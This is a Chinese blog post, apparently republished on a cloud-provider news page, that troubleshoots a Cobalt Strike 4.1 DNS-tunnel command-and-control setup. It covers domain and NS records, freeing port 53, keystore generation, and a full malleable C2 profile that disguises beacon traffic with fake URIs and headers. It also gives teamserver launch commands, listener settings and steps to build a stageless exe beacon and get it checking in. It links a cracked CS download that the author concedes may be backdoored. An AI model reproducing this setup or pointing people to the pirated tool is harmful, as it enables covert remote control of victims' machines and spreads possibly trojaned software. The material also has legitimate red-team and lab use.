溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

CS中DNS隧道踩坑的示例分析

發(fā)布時(shí)間:2021-12-16 18:14:41 來源:億速云 閱讀:368 作者:柒染 欄目:網(wǎng)絡(luò)管理

今天就跟大家聊聊有關(guān)CS中DNS隧道踩坑的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

前言

DNS隧道的復(fù)現(xiàn)一直失敗,看了無數(shù)的文章,被無數(shù)同人文荼毒之后,我CS終于成功上線了。

這里講一下復(fù)現(xiàn)過程中踩過的坑,希望能幫一些朋友們少走一些彎路,有些細(xì)節(jié)的地方我水平有限,也屬于猜想之類的,各位大佬們有理解的可以多分享、討論。

我的配置情況是:

某不知名小廠的ubuntu18云服務(wù)器+godaddy購買的域名+CS4.1。

以下內(nèi)容按照DNS隧道上線的過程書寫。

坑點(diǎn)一:域名購買平臺(tái)的選擇

域名購買平臺(tái)的要求在于,能否自由定制NS記錄(不太理解這句話,可以直接跳轉(zhuǎn)到"坑點(diǎn)三:域名的配置")。

比如,能否添加一條NS記錄,指定ns1.test.site指向www.test.site。

很多文章都是跟著粗暴地購買了godaddy。

但是在我復(fù)現(xiàn)的過程中,我曾經(jīng)貪便宜買過一次很便宜的域名,買完發(fā)現(xiàn)不能自由配置NS記錄,錢白花了。

我買錯(cuò)過一次之后,最后選擇的也是godaddy的域名,然后我朋友看了下國內(nèi)的幾家大廠也是可以自由配置的。

坑點(diǎn)二:CS版本的選擇

感謝這位大佬的博客,寫得很好,涉及到了監(jiān)聽器的配置踩坑與DNS流量抓包分析,并且提到了CS版本的問題:

https://xz.aliyun.com/t/7938#toc-8

經(jīng)過這個(gè)大佬的測(cè)試,以及我本人的驗(yàn)證,有些流傳的CS4.0破解版在做checkin操作的時(shí)候,teamserver服務(wù)端不會(huì)響應(yīng)傳回啟動(dòng)命令(黑框不會(huì)變藍(lán)上線)

所以我最后選擇使用的是CS4.1版本

我的4.1版本的CS是在網(wǎng)上一個(gè)大佬的博客找的,弟弟比較菜,我也不知道是否有后門之類的,這里放個(gè)網(wǎng)盤鏈接吧:

鏈接:https://pan.baidu.com/s/1c8aqkrfpEhajJ9o_KCByhA

提取碼:di9v

坑點(diǎn)三:域名的配置

域名設(shè)置如下:
一條A記錄指向CS的IP地址
vpn.test.site => CS的IP地址
幾條NS記錄指向剛剛A記錄對(duì)應(yīng)的域名(也可以只寫一條)
ns1.test.site => vpn.test.site
ns2.test.site => vpn.test.site
ns3.test.site => vpn.test.site
CS中DNS隧道踩坑的示例分析這里有個(gè)小細(xì)節(jié),域名解析的地方有個(gè)TTL值,據(jù)說這東西關(guān)系到解析域名要等多長(zhǎng)時(shí)間,國內(nèi)的很多廠商設(shè)置的最小值可以寫60,godaddy最小值為600,建議先把這個(gè)東西寫成平臺(tái)允許的最小值,等到檢驗(yàn)OK了再調(diào)大,一般調(diào)成600~900即可

坑點(diǎn)四:53端口的占用

我的云服務(wù)器是ubuntu18,執(zhí)行netsta命令的時(shí)候會(huì)看到一個(gè)服務(wù)占用了53端口,這個(gè)服務(wù)是systemd-resolved,是需要關(guān)閉的
關(guān)閉方法很簡(jiǎn)單:
systemctl stop systemd-resolved
如果不關(guān)閉這個(gè)服務(wù),設(shè)置DNS監(jiān)聽器時(shí)很明顯是有error的,其實(shí)就是端口沖突了
CS中DNS隧道踩坑的示例分析很多同人文喜歡寫的nslookup得到0.0.0.0的響應(yīng)信息,這時(shí)候nslookup是沒有響應(yīng)的

CS中DNS隧道踩坑的示例分析有些朋友們會(huì)修改bindto的那個(gè)端口號(hào),比如我圖片里看起來確實(shí)沒有error了,但其實(shí)不得行CS中DNS隧道踩坑的示例分析
去nslookup依舊是沒有響應(yīng)的
CS中DNS隧道踩坑的示例分析
現(xiàn)在關(guān)閉這個(gè)服務(wù),然后nslookup,發(fā)現(xiàn)有響應(yīng)了,響應(yīng)為8.8.4.4,這個(gè)是跟profile里對(duì)應(yīng)的,所以和同人文的0.0.0.0不一樣(后面"坑點(diǎn)五:profile的配置"里面會(huì)講)
CS中DNS隧道踩坑的示例分析
這里我還做了測(cè)試,bindto的端口不論是置空還是指定,nslookup都是有響應(yīng)的
CS中DNS隧道踩坑的示例分析
我個(gè)人的猜想是CS的DNS服務(wù)與bindto的端口無關(guān),與53端口有關(guān)
bindto的端口類似msf建立連接時(shí)指定用來處理事項(xiàng)的端口
53端口才是CS真正去做DNS的監(jiān)聽和收發(fā)信息的關(guān)鍵點(diǎn),因此不能被占用

坑點(diǎn)五:profile的配置

感謝兩位大佬的博客內(nèi)容:
https://choge.top/2020/08/16/Cobaltstrike%E4%B9%8B%E6%B5%81%E9%87%8F%E9%9A%90%E8%97%8F/ (講得是CS流量隱藏,這里用到的是開頭的生成store文件的命令)
https://www.nctry.com/1655.html (我profile的內(nèi)容就是從大佬這里撈過來改的)

store文件的生成

如圖所示,刪除服務(wù)器端原有的cobaltstrike.store
(這里我用的是finalshell,在ssh控制的同時(shí),可以查看、修改、上傳、下載服務(wù)器里的文件,推薦一波,挺好用的,下載地址:http://www.hostbuf.com/)
CS中DNS隧道踩坑的示例分析
利用keytool生成store文件
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV"
解釋一下:
keystore store文件的名字 profile里的keystore要和這里的keystore一致,我采用的是cobaltstrike.store這個(gè)名字
keypass 證書密碼 profile里的password要和這里設(shè)置的keypass一致,我下文profile是保持一致的,都用的123456
alias 別名 profile里的alias要和這里的alias一致,我下文的profile已經(jīng)保持一致了,都用的baidu.com
dname 證書內(nèi)容 profile里的https-certificate要和這里一致,我下文的profile已經(jīng)保持一致了

storepass store文件的密碼 這個(gè)被我單獨(dú)拉出來說,因?yàn)檫@個(gè)不是和profile保持一致的,是和teamserver保持一致的,vim teamserver打開teamserver,把光標(biāo)移動(dòng)到文件尾部,可以看到如圖所示
CS中DNS隧道踩坑的示例分析
teamserver默認(rèn)的store文件密碼就是123456,我這里生成的時(shí)候就直接設(shè)置密碼為123456了
修改端口號(hào)的話可以起到隱藏CS特征的作用,不過客戶端連接服務(wù)器端的時(shí)候,別忘了把連接的端口號(hào)修改一下

profile文件的內(nèi)容

以下內(nèi)容保存并命名為命名為C2.profile,上傳到服務(wù)器端

這里面的dns_idle可以自己配置的,我這里設(shè)置的是8.8.4.4也就是為什么我nslookup ns1.test.site的時(shí)候,響應(yīng)的是8.8.4.4,而不是同人文里的0.0.0.0

set sample_name "tryblog POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#設(shè)置證書,注意以下內(nèi)容得和你之前生成的證書一樣
https-certificate {
    set CN       "CC";
    set O        "IBM";   
    set C        "AV";
    set L        "AD";
    set OU       "HW";  
    set ST       "AC";
    set validity "365";
}
#設(shè)置,修改成你的證書名稱和證書密碼
code-signer{
    set keystore "cobaltstrike.store";
    set password "123456";
    set alias "baidu.com";
}
#指定DNS beacon不用的時(shí)候指定到IP地址
set dns_idle "8.8.4.4";
#每個(gè)單獨(dú)DNS請(qǐng)求前強(qiáng)制睡眠時(shí)間
set dns_sleep "0";
#通過DNS上載數(shù)據(jù)時(shí)主機(jī)名的最大長(zhǎng)度[0-255]
set maxdns    "235";
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
        id {
            netbios;
            parameter "id";
        }
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
    server {
        output {
            print;
        }
    }
}
http-get {
    set uri "/updates";
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            base64;
            print;
        }
    }
}

通過profile啟動(dòng)CS

通過profile啟動(dòng)CS的命令:
./teamserver CS的IP地址 自己設(shè)置的密碼 ./C2.profile
當(dāng)然,也可以后臺(tái)運(yùn)行:
nohup ./teamserver CS的IP地址 自己設(shè)置的密碼 ./C2.profile &

坑點(diǎn)六:監(jiān)聽器的設(shè)置

這一部分詳細(xì)的分析可以看看大佬的博客:https://xz.aliyun.com/t/7938#toc-8
簡(jiǎn)單來講,很多同人文喜歡往監(jiān)聽器里塞A記錄的域名
但是實(shí)際情況是CS4.0之后,上下兩個(gè)框框里要寫的都是NS記錄的域名,下面那個(gè)框框(stager)里面只需要隨便挑一個(gè)上面大框框里的NS記錄寫上就行
CS中DNS隧道踩坑的示例分析

上線時(shí)刻

接下來就是有手就行的上線時(shí)刻。

生成一個(gè)exe馬,選擇stageless的那個(gè),一個(gè)原因是這個(gè)的dns有x64版本,另一個(gè)主要原因是,這是個(gè)完整的馬,選另一個(gè)的話,被控機(jī)器和CS服務(wù)器之間要磨磨唧唧下載完stage數(shù)據(jù),才會(huì)開始上線通信,這個(gè)過程太慢了。

虛擬機(jī)運(yùn)行CS馬,這時(shí)CS上有個(gè)黑框,平時(shí)http通道的直接是藍(lán)色的。
CS中DNS隧道踩坑的示例分析只需要右鍵選擇進(jìn)入beacon,然后輸入chekin,等一會(huì)兒,黑框就變藍(lán)了,之后就能正常交互了
CS中DNS隧道踩坑的示例分析
輸入一個(gè)whoami測(cè)試一下,等待CS和被控機(jī)器的“親切友好交流”結(jié)束,回顯成功
CS中DNS隧道踩坑的示例分析

結(jié)尾

以上就是這段時(shí)間摸索DNS隧道時(shí)踩過的坑,希望對(duì)一些朋友有幫助。最后,里面有些東西我沒能理解,比如為啥不用profile啟動(dòng)CS就沒有響應(yīng)之類的,歡迎大家分享、討論。

以下是猜測(cè):

CS借助profile啟動(dòng)這一塊我有個(gè)想法,我把C2.profile里的8.8.4.4改成0.0.0.0就失敗無回應(yīng)不能上線,改成23.234.234.234(隨手亂打的)就能成功,所以我懷疑,0.0.0.0這個(gè)對(duì)DNS上線產(chǎn)生的影響,猜測(cè)默認(rèn)的CS這款工具的設(shè)置里就是0.0.0.0,所以導(dǎo)致一直出現(xiàn)各種問題,直到我偶然修改profile并使用,相當(dāng)于把0.0.0.0給換掉了,然后就上線成功了。

看完上述內(nèi)容,你們對(duì)CS中DNS隧道踩坑的示例分析有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI